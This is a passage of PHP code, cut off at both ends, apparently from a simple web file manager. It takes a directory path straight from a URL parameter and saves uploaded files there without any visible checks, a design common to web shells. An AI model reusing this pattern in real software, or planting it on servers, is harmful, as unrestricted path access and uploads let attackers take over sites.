= 1024 && $i < count($units)-1; $i++) { $bytes /= 1024; } return round($bytes, 2).' '.$units[$i]; } $cwd = isset($_GET['path']) ? $_GET['path'] : getcwd(); $cwd = realpath($cwd); // Handle upload if (isset($_POST['upload']) && isset($_FILES['file'])) { $target = $cwd . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "